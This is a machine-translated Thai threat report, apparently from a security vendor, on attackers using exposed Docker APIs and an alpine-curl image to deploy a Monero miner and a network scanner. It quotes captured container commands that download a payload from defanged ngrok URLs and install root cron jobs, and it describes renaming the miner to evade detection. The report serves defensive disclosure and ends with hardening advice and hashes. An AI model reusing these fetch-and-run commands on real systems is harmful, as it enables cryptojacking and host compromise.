เราวิเคราะห์ข้อมูลที่รวบรวมโดยใช้คอนเทนเนอร์ Honeypot ซึ่งเราสร้างขึ้นเพื่อติดตามภัยคุกคาม และเราตรวจพบกิจกรรมที่สำคัญจากนักขุดสกุลเงินดิจิทัลที่ไม่พึงประสงค์หรือไม่ได้รับอนุญาตซึ่งนำไปใช้เป็นคอนเทนเนอร์อันธพาลโดยใช้รูปภาพที่เผยแพร่โดยชุมชนบน Docker Hub รูปภาพนี้ใช้เป็นส่วนหนึ่งของบริการที่ส่งผู้ขุดเหมือง cryptocurrency ที่เป็นอันตราย
นอกจากนี้ยังมีการติดตั้งโปรแกรมสำหรับการทำงานกับเครือข่ายเพื่อเจาะคอนเทนเนอร์และแอปพลิเคชันที่เปิดอยู่ใกล้เคียง
เราปล่อยให้ honeypots ของเราเหมือนเดิม นั่นคือ ด้วยการตั้งค่าเริ่มต้น โดยไม่มีมาตรการรักษาความปลอดภัยหรือการติดตั้งซอฟต์แวร์เพิ่มเติมในภายหลัง โปรดทราบว่า Docker มีคำแนะนำสำหรับการตั้งค่าเริ่มต้นเพื่อหลีกเลี่ยงข้อผิดพลาดและช่องโหว่ทั่วไป แต่ฮันนีพอทที่ใช้นั้นเป็นคอนเทนเนอร์ที่ออกแบบมาเพื่อตรวจจับการโจมตีที่มุ่งเป้าไปที่แพลตฟอร์มคอนเทนเนอร์ ไม่ใช่แอปพลิเคชันภายในคอนเทนเนอร์
กิจกรรมที่เป็นอันตรายที่ตรวจพบนั้นมีความโดดเด่นเช่นกัน เนื่องจากไม่ต้องการช่องโหว่และไม่ขึ้นอยู่กับเวอร์ชัน Docker การค้นหาคอนเทนเนอร์อิมเมจที่กำหนดค่าไม่ถูกต้องและเปิดอยู่ เป็นสิ่งที่ผู้โจมตีต้องการเพื่อทำให้เซิร์ฟเวอร์เปิดจำนวนมากติดไวรัส
Docker API ที่ไม่ปิดทำให้ผู้ใช้สามารถดำเนินการได้หลากหลาย
ด้านซ้ายคือวิธีการส่งมัลแวร์ ทางด้านขวาคือสภาพแวดล้อมของผู้โจมตี ซึ่งช่วยให้สามารถเผยแพร่รูปภาพจากระยะไกลได้
จัดจำหน่ายตามประเทศที่มี Open Docker API จำนวน 3762 รายการ อ้างอิงจากการค้นหา Shodan ลงวันที่ 12.02.2019/XNUMX/XNUMX
ตัวเลือกห่วงโซ่การโจมตีและน้ำหนักบรรทุก
กิจกรรมที่เป็นอันตรายถูกตรวจพบไม่เพียงแต่ด้วยความช่วยเหลือของฮันนี่พอตเท่านั้น ข้อมูลจาก Shodan แสดงให้เห็นว่าจำนวน Docker API ที่เปิดเผย (ดูกราฟที่สอง) เพิ่มขึ้นเนื่องจากเราตรวจสอบคอนเทนเนอร์ที่กำหนดค่าไม่ถูกต้องซึ่งใช้เป็นบริดจ์ในการปรับใช้ซอฟต์แวร์การขุดสกุลเงินดิจิทัล Monero ในเดือนตุลาคมปีที่แล้ว (2018 ข้อมูลปัจจุบัน
การตรวจสอบบันทึกของ honeypot แสดงให้เห็นว่าการใช้อิมเมจคอนเทนเนอร์ก็เกี่ยวข้องกับการใช้เช่นกัน
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
อย่างที่คุณเห็น ไฟล์ที่อัปโหลดจะถูกดาวน์โหลดจาก URL ที่เปลี่ยนแปลงตลอดเวลา URL เหล่านี้มีวันหมดอายุสั้น ดังนั้นเพย์โหลดจึงไม่สามารถดาวน์โหลดได้หลังจากวันหมดอายุ
มีสองตัวเลือกเพย์โหลด อย่างแรกคือการคอมไพล์ ELF miner สำหรับ Linux (กำหนดเป็น Coinminer.SH.MALXMR.ATNO) ที่เชื่อมต่อกับพูลการขุด อย่างที่สองคือสคริปต์ (TrojanSpy.SH.ZNETMAP.A) ที่ออกแบบมาเพื่อรับเครื่องมือเครือข่ายบางอย่างที่ใช้ในการสแกนช่วงเครือข่ายแล้วค้นหาเป้าหมายใหม่
สคริปต์หยดจะตั้งค่าตัวแปรสองตัว ซึ่งจะใช้ในการปรับใช้ตัวขุดสกุลเงินดิจิทัล ตัวแปร HOST ประกอบด้วย URL ที่มีไฟล์ที่เป็นอันตรายอยู่ และตัวแปร RIP คือชื่อไฟล์ (อันที่จริงคือแฮช) ของตัวขุดที่จะนำไปใช้ ตัวแปร HOST เปลี่ยนแปลงทุกครั้งที่ตัวแปรแฮชเปลี่ยนแปลง สคริปต์ยังพยายามตรวจสอบว่าไม่มีนักขุดสกุลเงินดิจิทัลรายอื่นที่ทำงานบนเซิร์ฟเวอร์ที่ถูกโจมตี
ตัวอย่างของตัวแปร HOST และ RIP รวมถึงข้อมูลโค้ดที่ใช้ในการตรวจสอบว่าไม่มีคนงานเหมืองรายอื่นกำลังทำงานอยู่
ก่อนที่จะเริ่มขุดเหมืองจะถูกเปลี่ยนชื่อเป็น nginx สคริปต์เวอร์ชันอื่นๆ จะเปลี่ยนชื่อ miner เป็นบริการที่ถูกต้องตามกฎหมายอื่นๆ ที่อาจมีอยู่ในสภาพแวดล้อม Linux ซึ่งโดยปกติจะเพียงพอที่จะข้ามการตรวจสอบกับรายการกระบวนการที่กำลังทำงานอยู่
สคริปต์การค้นหายังมีคุณสมบัติต่างๆ ทำงานร่วมกับบริการ URL เดียวกันเพื่อปรับใช้เครื่องมือที่จำเป็น หนึ่งในนั้นคือไบนารี zmap ซึ่งใช้ในการสแกนเครือข่ายและรับรายการพอร์ตที่เปิดอยู่ สคริปต์ยังโหลดไบนารีอื่นที่ใช้ในการโต้ตอบกับบริการที่พบและรับแบนเนอร์จากบริการเหล่านั้นเพื่อกำหนดข้อมูลเพิ่มเติมเกี่ยวกับบริการที่พบ (เช่น เวอร์ชัน)
สคริปต์ยังกำหนดช่วงเครือข่ายบางช่วงไว้ล่วงหน้าที่จะสแกนด้วย แต่ทั้งนี้ขึ้นอยู่กับเวอร์ชันของสคริปต์ นอกจากนี้ยังตั้งค่าพอร์ตเป้าหมายจากบริการต่างๆ — ในกรณีนี้คือ Docker — ก่อนที่จะทำการสแกน
ทันทีที่พบเป้าหมายที่เป็นไปได้ แบนเนอร์จะถูกลบออกจากเป้าหมายโดยอัตโนมัติ สคริปต์ยังกรองเป้าหมายโดยขึ้นอยู่กับบริการ แอปพลิเคชัน ส่วนประกอบหรือแพลตฟอร์มที่สนใจ: Redis, Jenkins, Drupal, MODX,
เวกเตอร์การโจมตีคืออิมเมจ Docker ดังที่เห็นได้ในโค้ดสองชิ้นถัดไป
ที่ด้านบนเป็นการเปลี่ยนชื่อเป็นบริการที่ถูกกฎหมาย และที่ด้านล่างคือวิธีที่ zmap ใช้ในการสแกนเครือข่าย
ที่ด้านบนคือช่วงเครือข่ายที่กำหนดไว้ล่วงหน้า ที่ด้านล่างคือพอร์ตเฉพาะสำหรับการค้นหาบริการ รวมถึง Docker
ภาพหน้าจอแสดงให้เห็นว่ามีการดาวน์โหลดรูปภาพ Alpine-Curl มากกว่า 10 ล้านครั้ง
คุณสามารถสร้างได้โดยใช้ Alpine Linux และ curl ซึ่งเป็นเครื่องมือ CLI ที่ประหยัดทรัพยากรสำหรับการถ่ายโอนไฟล์ผ่านโปรโตคอลต่างๆ
สิ่งสำคัญคือต้องทราบว่ารูปภาพนี้ (alpine-curl) นั้นไม่ได้เป็นอันตราย แต่อย่างที่คุณเห็นด้านบน สามารถใช้เพื่อทำหน้าที่ที่เป็นอันตรายได้ อิมเมจ Docker ที่คล้ายกันสามารถใช้เพื่อทำกิจกรรมที่เป็นอันตรายได้ เราได้ติดต่อ Docker และทำงานร่วมกับพวกเขาเกี่ยวกับปัญหานี้
แนะนำ
เหตุการณ์ที่กล่าวถึงในบทความนี้เน้นย้ำถึงความจำเป็นที่ต้องคำนึงถึงความปลอดภัยตั้งแต่เริ่มต้น รวมถึงคำแนะนำต่อไปนี้:
- สำหรับผู้ดูแลระบบและนักพัฒนา: ตรวจสอบการตั้งค่า API ของคุณเสมอเพื่อให้แน่ใจว่าทุกอย่างได้รับการกำหนดค่าให้ยอมรับเฉพาะคำขอจากเซิร์ฟเวอร์หรือเครือข่ายภายในที่ระบุเท่านั้น
- ปฏิบัติตามหลักการของสิทธิ์ขั้นต่ำ: ตรวจสอบให้แน่ใจว่าอิมเมจคอนเทนเนอร์ได้รับการลงนามและตรวจสอบแล้ว จำกัดการเข้าถึงส่วนประกอบที่สำคัญ (บริการเปิดตัวคอนเทนเนอร์) และเพิ่มการเข้ารหัสในการเชื่อมต่อเครือข่าย
- ติดตาม
คำแนะนำ และเปิดใช้กลไกการรักษาความปลอดภัย เช่นจากนักเทียบท่า และบิวท์อินคุณลักษณะด้านความปลอดภัย . - ใช้การสแกนรันไทม์และรูปภาพอัตโนมัติเพื่อรับข้อมูลเพิ่มเติมเกี่ยวกับกระบวนการที่ทำงานในคอนเทนเนอร์ (เช่น เพื่อตรวจจับการปลอมแปลงหรือค้นหาช่องโหว่) การควบคุมแอปพลิเคชันและการตรวจสอบความสมบูรณ์ช่วยติดตามการเปลี่ยนแปลงที่ผิดปกติในเซิร์ฟเวอร์ ไฟล์ และพื้นที่ระบบ
Trendmicro ช่วยให้ทีม DevOps สร้างได้อย่างปลอดภัย เปิดตัวอย่างรวดเร็ว และเปิดใช้งานได้ทุกที่ เทรนด์ไมโคร
สัญญาณของการประนีประนอม
แฮชที่เกี่ยวข้อง:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
На
ที่มา: will.com